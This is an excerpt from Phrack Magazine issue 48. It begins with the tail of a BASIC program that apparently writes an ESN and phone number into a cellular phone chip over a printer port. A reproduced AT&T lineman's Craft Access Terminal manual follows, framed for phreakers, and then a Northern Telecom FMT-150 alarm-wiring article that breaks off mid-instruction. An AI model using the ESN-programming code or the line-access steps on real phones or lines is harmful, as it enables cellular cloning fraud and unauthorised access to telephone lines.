1310 FOR I=1 TO 5:BYTE$(I‑1)="3"+MID$(SEC$,I,1):NEXT

1320 FOR I=0 TO 2:BYTE$(10+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT1$,I*2+1,2))),2) 1325 NEXT

1330 FOR I=0 TO 2:BYTE$(13+I)=RIGHT$("0"+HEX$(VAL(MID$(UNIT2$,I*2+1,2))),2) 1335 NEXT

1340 FOR I=0 TO 4:BYTE$(24+I)=MID$(PHONE$,2*I+1,2):NEXT

1350 FOR I=5 TO 0 STEP ‑1

1360 Q=INT(ESN#/(16^I))

1370 ESN#=ESN#‑Q*(16^I)

1380 IF Q>9 THEN Q=Q+7

1390 ESN$=ESN$+CHR$(48+Q)

1400 NEXT

1410 BYTE$(8)=RIGHT$("0"+HEX$(ESNPREFIX),2)

1420 BYTE$(5)=MID$(ESN$,5,2)

1430 BYTE$(6)=MID$(ESN$,3,2)

1440 BYTE$(7)=MID$(ESN$,1,2)

1450 FOR I=0 TO 60:Q$=BYTE$(I)

1460 QH=ASC(LEFT$(Q$,1))‑48:IF QH>9 THEN QH=QH‑7:IF QH>15 THEN QH=QH‑32 1470 QL=ASC(RIGHT$(Q$,1))‑48:IF QL>9 THEN QL=QL‑7:IF QL>15 THEN QL=QL‑32 1480 Q=QH*16+QL

1490 BYTE(I)=Q:CHECK=CHECK+Q

1500 NEXT

1510 BYTE(20)=HOMEID AND 255:BYTE(21)=INT(HOMEID/256)

1520 BYTE(22)=ACCESS

1530 BYTE(23)=LOCALOPT

1540 BYTE(29)=STATCLASS

1550 BYTE(30)=PGCH AND 255:BYTE(31)=INT(PGCH/256)

1560 BYTE(32)=OVERLDCL

1570 BYTE(33)=PREFSYS

1580 BYTE(34)=GROUPID

1590 AC$=MID$(PHONE$,1,3)

1600 PRE$=MID$(PHONE$,4,3)

1610 PH$=MID$(PHONE$,7,4)

1620 AC=VAL(AC$)

1630 IF MID$(AC$,2,2)="00" THEN AC2=AC‑1:GOTO 1670

1640 IF MID$(AC$,3,1)="0" THEN AC2=AC‑101:GOTO 1670

1650 IF MID$(AC$,2,1)="0" THEN AC2=AC‑11:GOTO 1670

1660 AC2=AC‑111

1670 PRE=VAL(PRE$)

1680 IF MID$(PRE$,2,2)="00" THEN PRE2=PRE‑1:GOTO 1720

1690 IF MID$(PRE$,2,1)="0" THEN PRE2=PRE‑11:GOTO 1720

1700 IF MID$(PRE$,3,1)="0" THEN PRE2=PRE‑101:GOTO 1720

1710 PRE2=PRE‑111

1720 IF PRE2<0 THEN PRE2=1000+PRE2

1730 IF LEFT$(PH$,1)="0" THEN D=‑24:GOTO 1750

1740 D=87‑24*(ASC(PH$)‑49)

1750 IF MID$(PH$,4,1)="0" THEN D=D‑10

1760 IF MID$(PH$,3,1)="0" THEN D=D‑100

1770 IF MID$(PH$,2,1)="0" THEN D=D‑1000

1780 IF MID$(PH$,1,1)="0" THEN D=D‑10105

1790 PH2=VAL(PH$)‑D

1800 C=INT(PRE2/4)

1810 B=64*(PRE2 AND 3)

1820 A=PH2 AND 255

1830 B=B OR INT(PH2/256)

1840 BYTE(35)=A

1850 BYTE(36)=B

1860 BYTE(37)=C

1870 BYTE(38)=AC2 AND 255

1880 BYTE(39)=INT(AC2/256)

1890 CHECK=0

1900 FOR I=0 TO 60

1910 CHECK=CHECK+BYTE(I)

1920 NEXT

1930 BYTE(61)=CHECK AND 255

1940 DEV$="1010":ADDR$="000"

1945 ' Select the base address for your printer port with the next line. 1950 BASE=&H378 ' Which is LPT2. &h378 is LPT1 and &h3bc is LPT3. 1960 GOTO 2120

1970 OUT BASE,(DOUT AND 1) OR 2*(CLK AND 1) OR 4*(RELAY)

1980 FOR DELAY=0 TO 9:NEXT

1990 DIN=INP(BASE) AND 1

2000 RETURN

2010 FOR I=1 TO LEN(B$)

2020 B=ASC(MID$(B$,I,1))‑48

2030 DOUT=B:CLK=0:GOSUB 1970

2040 DOUT=B:CLK=1:GOSUB 1970

2050 DOUT=B:CLK=0:GOSUB 1970

2060 NEXT

2070 T=0

2080 DOUT=1:CLK=1:GOSUB 1970

2090 IF DIN=0 THEN RETURN

2100 IF T=200 THEN BEEP:PRINT "Nack timeout error":STOP

2105 ' Is voltage applied to the chip?

2110 T=T+1:GOTO 2080

2120 MAX=61:RELAY=1:DOUT=1:CLK=1:GOSUB 1970

2130 T$=TIME$

2140 IF T$=TIME$ GOTO 2140

2150 FOR J=0 TO MAX

2160 DOUT=1:CLK=1:GOSUB 1970 ' Start bit

2170 IF DIN=0 THEN BEEP:PRINT "Bus not free error":STOP ' Bad! 2180 DOUT=0:CLK=1:GOSUB 1970

2190 DOUT=0:CLK=0:GOSUB 1970

2200 B$=DEV$+ADDR$+"0"

2210 GOSUB 2010

2220 B$=""

2230 FOR I=7 TO 0 STEP ‑1

2240 IF (J AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"

2250 NEXT

2260 GOSUB 2010

2270 Z=BYTE(J)

2280 B$="":FOR I=7 TO 0 STEP ‑1

2290 IF (Z AND (2^I)) THEN B$=B$+"1" ELSE B$=B$+"0"

2300 NEXT

2310 GOSUB 2010

2320 DOUT=0:CLK=0:GOSUB 1970

2330 DOUT=0:CLK=1:GOSUB 1970 ' Stop bit

2340 DOUT=1:CLK=1:GOSUB 1970

2350 PRINT USING "###% programmed";100*J/MAX

2360 PRINT STRING$(80*J/MAX,46)

2370 LOCATE CSRLIN‑2,POS(0)

2380 GOSUB 1970

2390 IF DIN=0 GOTO 2380

2400 NEXT

2410 RELAY=0:DOUT=1:CLK=1:GOSUB 1970

2420 PRINT:PRINT

2430 'This is the end in case you though the code was truncated somehow...

The Craft Access Terminal

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 8 of 18

.::::: :::::. .::::. .::::: :::::

:: :: :: :: :: :: ::

:: :: :: :: :: :: ::

:: :::::' :::::: ::::: ::

:: :::::. :: :: :: ::

`::::: :: :: :: :: :: ::

.::::. .::::: .::::: .::::: .:::

:: :: :: :: :: ::

:: :: :: :: :::: `:::

:::::: :: :: ::

:: :: :: :: ::

:: :: `::::: `::::: `::::: ::::

:::::: .::::: .::::. .::::::. ::

:: :: :: :: :: :: :: ::

:: :::: :: :: :: :: ::

:: :: :::::' :: :: ::

:: :: ::::. :: :: ::

:: `::::: :: :: :: :: ::

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Written by Boss Hogg

Greets: Voyager/Splatter/Mr.Hyde/Misfit/Darkseed/][avok/Paradyne Ethereal Gloom/Surgat/GOL/Carnage/Kamakize/Seeker/Stravis + all others with weird thoughts and ideas.

The craft.

Although its called a Craft Access Terminal, the craft hardly represents a standard computer terminal. It is in actually a lineman's handset with a built in terminal and 1200 baud modem. The unit looks like a handset on steroids measuring 12.5" in length. The ones in our particular area were bright yellow and looks like a rejected Sesame Street prop. We have reports that they also made them in a blue color as well though we have yet to see one in use in our area.

The unit features a 4 line x 16 character LCD display, and a joystick with a plunger on the top. You will find a diagram of the unit with descriptions in brackets.

These units are possibly being phased out in a few areas and have been found at telco auctions as well as from surplus stores. They could be replacing these yellow units with the blue units (Which have the same basic descriptions yet are newer. The crafts we have found were severely worn). We have also heard they were being replaced with a Access‑2 terminal (rumored to represent a HP‑95lx palmtop; Fold open, larger LCD screen).

This is essentially the entire uncopywritten manual to the terminal. The unit can be somewhat confusing at first due to a somewhat weird menu layout.

Also, to avoid confusion:

‑ The page numbers are located at the bottom of the pages. You may wish to add pagefeeds and space out the page numbers to the bottom of the page if you want to print it out and stick it in your phreakers binder or whatever.... The line is meant for the top of each page... As there is a line at the top in the real manual.

‑‑‑‑Here begins the Craft Access Terminal Instruction Manual‑‑‑‑

AT&T

Craft Access Terminal

Instruction Manual

‑cover

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Table of Contents

Page

Features : 2

Using the pointer : 4

Battery Pack : 6

Connecting to a working pair : 8

Making a telephone call : 9

Calling a computer : 12

Working with a computer : 15

Getting help : 15

Making or canceling a

selection on a screen : 17

Reading stored information : 19

Filling in information : 20

Taking care of your terminal : 25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Getting Started

Two battery packs, a charger and a short charger adaptor cord should be in the box with the Craft Access Terminal. Before using the Craft Access Terminal, insert a battery pack. The battery pack must be charged before use. For directions on how to charge and insert the battery pack, look at the section of the instructions called "The Craft Access Terminal's Battery Pack." This section begins on page 6.

‑1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Craft Access Terminal Features

Receiver ‑ Works like any ordinary telephone receiver. [points to ear‑piece]

Transmitter ‑ Works like an ordinary telephone transmitter. [points to mouthpiece]

Craft Access Terminal ‑ Identification Number [points to sticker underneath the TRANSMITTER]

Phone Jack ‑ A modular telephone cord can be plugged in here. [located on bottom of the handset]

Recharger Jack ‑ The plug on the recharger cord is inserted into the jack.

[located on bottom of the handset]

Connecting Cord ‑ Connects to a working pair to get dial tone for making a call to either a telephone or a computer. [extends from bottom of handset]

‑2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Screen ‑ A liquid crystal display shows information or instructions.

[on top‑front of handset. c'mon‑ you cant miss it!]

Mode Switch

Three positions:

Talk ‑make a phone call Monitor ‑listen for conversation Data ‑make a computer call Moving the switch to monitor will disconnect a call. [This switch is located on the right‑top side, when the ]

[LCD screen is facing you ]

Pointer ‑ Used to mark and select actions on the screen and to indicate where you want to enter information. [Joystick located under Screen]

Rechargeable Battery Pack ‑ Provides power for the terminal. The

pack must be recharged every day.

[This is accessed by removing a cover held in place by a normal ] [phillips screw. The compartment is located under the pointer. ] [NOTE: Although there is a 9‑volt battery snap, the thing only ] [uses 4 1.2volt nicads... 4 AA batteries work fine... For those ] [whose sets didn't come with battery packs ]

Alpha Numeric Keypad ‑ Used to enter letters and numbers on the

screen.

[Uhh‑ A normal Touch Tone pad... Cant miss it ]

‑3

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Using the pointer

The pointer allows you to make choices from a screen, show where you want to fill in information, B BACK read information that is temporarily stored for you A in the Craft Access Terminal, and get an H C < ^ > N S explanation about a screen.

E K < .‑. > E E

L S < `‑' > X N Remember that you must push the pointer to P P < V > T D make a choice.

C

E REVIEW The pointer can be moved along the right side, along the left side, to the top center and bottom center position.

<,>,^,V

= joystick direction

.‑. = Joystick

`‑'

1. If you want to select from two or more choices on the screen, move the Pointer along the right side until the arrow (>) appears next to the line you want to select and then press the Pointer.

‑4

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. If you want additional information about one of the choices on the screen, move the Pointer along the left side until the question mark (?) appears next to the line where you need HELP and then press the Pointer.

3. If you want to go BACK one screen, move the Pointer to the top center position and then press the Pointer.

4. If you want to REVIEW information stored in your Craft Access Terminal, move the Pointer to the bottom center position and then press the Pointer.

‑5

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Craft Access Terminal's Battery Pack

You must charge the terminals battery pack at least once every day. It may take up to twelve hours for a full charge if the battery pack has run down completely. Also, before the first use, each battery pack should be charged for 24 hours.

To do this, insert the plug at the other end of the cord attached to the charger into the socket at the transmitter end of the Craft Access Terminal. Plug the charger at the end of the cord into an electrical outlet. The red light on the charger should be lit if it is charging properly. However, the light will not go out if the battery is fully charged. It is advisable to keep the extra battery pack charged so you can use it if the battery pack in the terminal you're using runs down. To charge the spare battery pack, plug the charger adapter cord, (the short cord included with the charger) into the pack. Plug the other end of the adapter cord into the charger, and plug the charger into an electrical outlet.

CAUTION

The charger should only be used indoors and only for charging Craft Access Terminal.

In the battery pack runs out of power while you are using the terminal, the pack can be removed and the charged pack can be inserted. To do this, follow these steps:

1. Open the Battery Pack Compartment Loosen the screw to open the battery cover. Do not hold down battery compartment cover while loosening the screw.

2. Remove the Battery Pack

Lift out battery pack. Unsnap the battery pack from the connector.

‑6

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. Insert the Battery Pack

Snap the charged battery pack into the connector. Slide the battery pack into the Craft Access Terminal. Close the battery cover. Don't forget to tighten the screw.

How Long Will the Craft Access Terminal Stay Charged?

At normal temperatures, the Craft Access Terminal will operate for approximately 12 hours after being charged.

The Craft Access Terminal can be used in warm or cold temperatures. You should keep in mind however, that the battery pack will be drained faster in cold weather. At ‑20 degrees Fahrenheit, it may last only 8‑10 hours.

The battery pack in the Craft Access Terminal should no be charged at temperatures less than 40 degrees Fahrenheit.

Battery Pack Life

The battery pack can be charged many times, providing a working life of about 5 years. The four digit number stamped on the end of the battery is its date of manufacture.

‑7

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Connecting to a Working Pair

Monitor the Line

Before connecting to a pair, set the switch at the Monitor (center) position.

Connect Cord and Clips

Attach cord clips to tip and ring. If you hear a conversation, select another pair. You should hear dial tone when connected to an available working pair.

* Connect at a standard terminal point whenever possible to avoid puncturing the insulation; holes made in insulation by clips can lead to later corrosion problems

Alternately, dial tone can also be obtained by inserting a modular cord as shown on page 2. Do not insert line cord to modular jack and connect to tip and ring at the same time. It will not work.

Move back to monitor to increase or decrease volume. To increase the volume, move the Pointer along the right side until the arrow (>) in next to "increase volume" and then press the Pointer.

To decrease the volume, point to the third line, and press.

If you want to use the terminal to listen for noise on the line, point to the second line and press. This puts the terminal in the "quiet" mode so that very low levels of noise can be detected.

Notice that the top line on this screen can't be selected. To indicate this, the first space on the line contains a bar. (I).

You can now make an ordinary telephone call be moving the switch to Talk (see Making a Telephone Call) or call a computer by moving the switch to Data (see Calling a Computer).

‑8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Making a Telephone Call

Move the switch from Monitor to Talk Position

Monitor the line to be sure it isn't in use. If no one is talking on the line, move the switch from Monitor to Talk.

Telephone Number Entry and Correction

If the line is good, you will hear a dial tone. You can enter the number you want to call through the keypad. If a number is already filled in, you can call that number, or, if you want to call a different number, erase the number that is on the screen by pressing * on the Touch‑tone pad, and enter another number.

* If the (*) is entered as the first character, it will not erase unless another (*) us entered.

The small flashing bar is called the cursor. The cursor will appear where a number must be entered.

As each digit to the telephone number is filled in, it will appear where the cursor was, and the cursor will move one space to the right. Enter a pound (#) between digits to indicate a 2‑second pause in dialing where required (to wait for a second dial tone behind a PBX number, for example). For a longer pause, press pound (#) several times.

‑9

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the correct phone number is shown, move the Pointer to the right side (anywhere along the right side will do) and press. If you need to rotary dial, select the last line with the Pointer before you press. The Craft Access Terminal will dial the number. You can re‑dial by moving the Pointer to the right side and pressing again.

The Craft Access Terminal will save the telephone number and it will appear the next time the switch is moved to the Talk position.

You can listen as the Craft Access Terminal dials the number. If you hear a busy signal after dialing is completed, or if no one answers the call, disconnect by moving the switch to the Monitor position.

Call in Progress and Volume Control

When dialing is completed, this screen appears. Use the Pointer the increase or decrease the volume of the receiver, or to mute the trans mitter to listen only.

The volume level is indicated by the number of filled spaces on the increase volume line. One filled space for minimum volume, four for maximum.

‑10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Disconnecting

Moving the switch to the Monitor position will end the phone call, and this screen will appear.

Be sure to move the switch to the Monitor position after disconnecting. This will conserve battery power as the terminal drains the least amount of power in the monitor mode.

If you are accidentally disconnected, move the switch to the Monitor position and start again.

‑11

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calling the Craft Access System Computer

Move the Switch from Monitor to Data Position.

Monitor the line to be sure it isn't in use. If no one is talking on the line, move the switch from Monitor to Data.

Telephone Number Entry and Correction

You can enter the number you want to call through the keypad. If a number is already filled in, you can call that number, or, if you want to call a different number, erase the number on screen by pressing the asterisk (*) on the Touch‑tone pad, and fill in another number.

The cursor will appear where a number must be entered.

Fill in the computer's telephone number if it isn't already shown. Put a pound (#) between digits to indicate a 2‑second pause in dialing where required (to wait for a second dial tone behind a PBX number, for example). For a longer pause, press pound (#) several times.

‑12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the correct phone number is shown, move the Pointer to the right side (anywhere along the right side will do)and press. The Craft Access Terminal will dial the number. You can re‑dial by moving the Pointer to the right side and pressing again.

Indications that the Call is Successful

If the call to the Craft Access System computer is successful, you will hear a tone on the line. When the Craft Access Terminal detects that tone, the tone will stop and a screen like this will appear.

In some cases the call may not be successful. If you retry a few times and still have difficulty, try connecting your cord to another working pair.

Password Entry

Before you send or receive any computer information, you may need to fill in a numeric password to identify yourself and a number to identify your terminal. Your password can be used only with your Craft Access Terminal. Fill in your password on the keypad. If you make a mistake press the asterisk (*) to erase the password and start over. The cursor will return to the place where the password must be filled in.

The Terminal Identification number is located below the transmitter (see page 2).

When the correct numbers are filled in, move the Pointer to the right side (anywhere along the right side will do) and press. The Craft Access Terminal will send your password to the computer.

‑13

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

See "Working with the Craft Access System Computer" for further instructions about what to do next.

Disconnect

If your call to a computer is accidentally dis connected, move the switch to the Monitor position and repeat from the first step to re‑dial.

If you want to disconnect, move the switch to Monitor and this screen will appear.

‑14

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Working with the Craft Access System Computer

Each line on a screen is either:

‑ information

‑ a space in which information can be filled in

‑ a choice that can be selected

This screen is an example. Information can be read on the first line, a number is to be entered on the second line, and you can make a choice between the last two lines. Lines that don't contain selectable choices begin with a bar (I). Those that are selectable choices begin with a blank space.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Getting Help

To get help about the third line of this screen, move the Pointer along the left side until a question mark appears beside the third line. When the question mark is beside the line, press the Pointer. The help that appears de scribes what will happen if you select choice 1.

To get help about the second line of this screen, a line in which information can be filled in, move the Pointer along the left side until a question mark (?) appears in the space where information is to be filled in and then press.

‑15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This is an example of an explanation. A bar (I) appears to the left of every line and there is a page number in the top right corner of the screen. This page is numbered 1/2, indicating that it is the first page of two pages of information. the second page will be numbered 2/2.

To read the next page of Help, move the Pointer to the right side (anywhere along the right side will do) and press.

If you want to re‑read pages, point to REVIEW (move the Pointer to the bottom center position and press) to go back one page at a time.

When you are ready to go back to the screen where you originally requested help, point to BACK (move the Pointer to the top center and press).

‑16

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Making or Canceling a Selection on a Screen

Making a Selection

When a screen that contains selectable choices is shown, move the Pointer along the right side until the arrow (>) is beside the choice you want. Then press the Pointer to make the selection.

Some choices make requests of a computer that may take a while. If so, a "request in progress" message such as this will appear.

‑17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Canceling a Selection

If at this point you realize that you've made a wrong choice, point to BACK (move the Pointer to the top center and press). The screen on which you made the choice will be shown and you can make a different choice.

Some requests cannot be canceled. In this case, only "request in progress" is displayed.

‑18

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Reading Information Stored in the Craft Access Terminal

Some of the information sent to you from the computer may be stored in the Craft Access Terminal in case you need it again later, even if your terminal is disconnected as long as its battery pack is charged. If you want to see stored information, move the switch to either Monitor or Voice and point to REVIEW (move the Pointer to the bottom center and press).

A list containing the major categories of information currently stored in your Craft Access Terminal will appear on the screen. To select a category, move the Pointer along the right side until the arrow (>) is beside the category that you want to select and then press the Pointer.

Sometimes an item that you have selected leads to another list. Make a selection from this list in the same way you did on the previous list. To quit reading, point to BACK (move the Pointer to the top center and press). To reread pages of stored information, point to REVIEW (move the Pointer to the bottom center position) and then press the Pointer.

‑19

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Filling in Information on the Craft Access Terminal

If a screen contains a space where a number can be filled in, the cursor will be blinking at the space. If there is already a number in the space you may want to change it. If you decide to use the number that is already shown, point to NEXT (move the Pointer to any position on the right side and press).

If you want to change the number, press the asterisk (*) to erase the wrong number, then fill in the number you want.

When the desired number is shown, point to NEXT (move the Pointer to any position on the right side and press).

‑20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sometimes you may need to return to a screen to correct an entry.

When you point to BACK (move the Pointer to the top center and press), the cursor will appear at the beginning of the first place where information was filled in.

Press the asterisk (*) on the keypad to erase the entered number or make a correction by typing over the incorrect number with the correct number.

‑21

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If there are several spaces to be filled in on one screen, move the Pointer along the right side of the control to point to each location where you can enter information. Don't press the Pointer until you have filled in all the required information.

If a space where information can be filled in is preceded with an asterisk (*), the information is optional and the space may be left without an entry.

After you have filled in all of the information you need, point to NEXT (move the Pointer to any position on the right side and press).

Display of the asterisk is actually controlled by the Craft Access System computer. Keep in mind that this can change.

‑22

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sometimes the Craft Access System will allow you to enter the letters and punctuation marks to fill in the information that is needed. Whenever this is the case, this screen is displayed.

Entering Alphabetical and Numeric Characters

Letters, numbers and punctuation marks are entered from the keypad. All characters you enter appear on the screen.

Each key is used to enter four different characters as labeled on the key; except for the [#] key. The [SP] on the [#] key is used to enter a space between two words.

Two easy methods can be used to enter characters:

‑ Method 1: Press and hold down the key with the desired character. Look at the display while holding down the key. You will see each character labeled on that key appear one after the other. When the desired character appears, release the key and that character will remain on the screen, and the cursor will advance to the next position.

‑ Method 2: There is no need to continuously watch the screen with this method. Instead of holding down the key you rapidly tap the key a number of times equal to the position of the desired character on that key.

For example, tap the [6] key three times to enter [N]; tap the [3] key three times to enter [E]; tap the [9] key twice to enter [w] and tap the [#] key twice to enter a space.

A blinking dark block on the screen indicates you have entered you last character.

‑23

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Erasing a Character, an Entire Line or more.

If you want to erase a character, push the pointer to the left and press once. Holding the pointer down it will continue to erase characters one at a time until it is released.

Sending Your Message to the Computer

When you are through entering the message, move the pointer to the right and press it to send your message. The cursor should stop blinking to indicate that your message has been sent.

‑24

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Taking Care of Your Terminal

1. To avoid damaging the Craft Access Terminal

‑ Don't drop the terminal. During the work day, the Craft Access Terminal should be in the cab of your vehicle or clipped to your tool belt when not in use

‑ Don't unnecessarily expose the terminal to dust, sand, water, or salt air.

2. Problems Caused by Extreme Temperatures

Heat

The Craft Access Terminal can be damaged by extreme Heat. DON'T LEAVE IT ON THE DASH OF YOUR VEHICLE.

Cold

Cold is less likely to damage the terminal. However, the screen won't work properly at temperatures less than ‑20 degrees Fahrenheit. If you must use your terminal in colder temperatures, you can use it for about 20 minutes in the cold, then place it somewhere warm for 15 to 30 minutes and then use it in the cold again.

3. Problems Caused by Water, Condensation, and High Humidity.

Don't expose the terminal to water; especially avoid dropping the terminal in water. If it does get wet, dry it immediately. The Craft Access Terminal will work in rain or snow, but should be wiped dry whenever possible.

4. How to store the Craft Access Terminal and spare batteries.

When not in use, the Craft Access Terminal or spare battery pack should be connected to the charger.

5. Under some abnormal conditions, the terminal may lock itself into an incorrect state. To "reset" the terminal, simply insert the battery charger plug into the charge jack, then remove. CAUTION: This will erase any stored information.

‑25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For Quick Reference:

.‑‑‑‑‑‑‑‑‑‑‑

: ‑To quit reading stored information :

: ‑To go back to a screen you saw :

: previously :

: .‑‑

: BACK :

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. : : .

: b : : O : : :

: ‑To get a O : `‑‑‑‑‑‑‑‑' :O n S ‑to select a choice :

: explanation of H c : :

: selectable E k O : :O e E ‑to read new page of : : items L s : (JOYSTICK) : help or new page of : : P p O : :O x N stored information :

: ‑To erase a a : :

: character or c O : .‑‑‑‑‑‑‑‑. :O t D ‑to send mail :

: line e : : O : `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

: : : REVIEW :

: (ALPHA‑ENTRY) : : `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

: (MODE ONLY) : :

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' :

: ‑To read information stored in :

: the Craft Access Terminal :

:

: ‑To read previous page of help :

: or store information :

:

`‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

FCC Regulations for Telephone Equipment

(you know all this crap)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(BACK COVER)

(END)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Few last notes:

The real Craft handsets do not have a power switch, they just sit on all of the time. So we could also add a power switch to ours.

The Craft handset uses a 1200 baud modem, but seems to be incompatible with standard modems...

Information About NT's FMT-150/B/C/D

==Phrack Magazine==

Volume Seven, Issue Forty‑Eight, File 9 of 18

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Information about Northern Telecom's FMT‑150B/C/D Written by StaTiC

(statik@free.org)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, I know someone wrote an article in Phrack about the FMT‑150B/C/D, but I figured I should write some more. I am not going to write the same info that FyberLyte wrote, in fact I recommend you go and check it out. It is in Phrack #44‑13. This is some stuff I obtained, that I figured the rest of the world would be interested in.

Included info: Connecting a FMT‑150 to a Rockwell OS‑35 Connecting Environmental Alarms to the FMT‑150

Procomm Script to Perform Configuration of FMT‑150

FMT‑150 Configuration Checklist

Glossary of Terms

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

INSTRUCTIONS FOR X‑CONNECTING FMT‑150 CUSTOMER OUTPUT TO

ROCKWELL OS‑35 INPUTS

A pin block will be provided at the central office location, in the bay equipped with FMT‑150 equipment. The pin block will provide the termination points for the Rockwell OS‑35A and the FMT‑150 customer output alarms. Each pin block will be able to support a maximum of 16 FMT‑150 systems, see pin block diagram.

Wiring of the FMT‑150 customer outputs points and the OS‑35A points will be done by the vender on the back of the pin block.

Once a FMT‑150 system has been certified the certification team will be responsible for x‑connecting the FMT‑150 customer output alarm points to the appropriate OS‑35A points on the front of the pin block. Completion of this x‑connecting will allow FMT‑150 system alarms originating either from the CO or the RT to be transported via the OS‑35A back to the Lightwave and Radio Alarm Center.

IMPORTANT, MBT CERTIFICATION TEAMS X‑CONNECT ONLY THE FMT‑150 THAT IS BEING PUT INTO SERVICE AND ONLY AFTER THE ELECTRONICS ARE CERTIFIED.

The FMT‑150 16 customer outputs are defined as follows:

OUTPUT ALARM OUTPUT ALARM

‑‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑

1 BAY MAJOR 9 MI3 ALARM #3 2 BAY MINOR 10 HSA ALARM 3 OPT A FAIL 11 HSB ALARM 4 OPT B FAIL 12 DS1 GRP FAIL 5 STX TX 13 SYSTEM ID CLLI 6 STS RX 14 COMM. EQUIP. ALARM 7 M13 ALARM #1 15 NODE #1 CO 8 M13 ALARM #2 16 NODE #2 REMOTE

The Rockwell OS‑35A provides a total of 32 separate alarm points. The first 16 points with the exception of point 13 have been multiplied on the pin block to provide x‑connect points for a total of 16 FMT‑150 systems, see pin block diagram.

On the pin block x‑connect the designated (1 of 16) FMT‑150 system customer outputs, pins 1‑12 and 14‑16 to the appropriate OS‑35A pins 1‑12 and 14‑16, see pin block diagram.

Pins 17‑32 on the pin block going to the OS‑35A will be used for x‑connecting the customer output #13 from each FMT‑150 system. Customer output #13 provides the system ID for the FMT‑150, see pin block diagram.

X‑CONNECT CUSTOMER OUTPUT #13 FROM FMT‑150 SYSTEMS IN THIS SEQUENCE
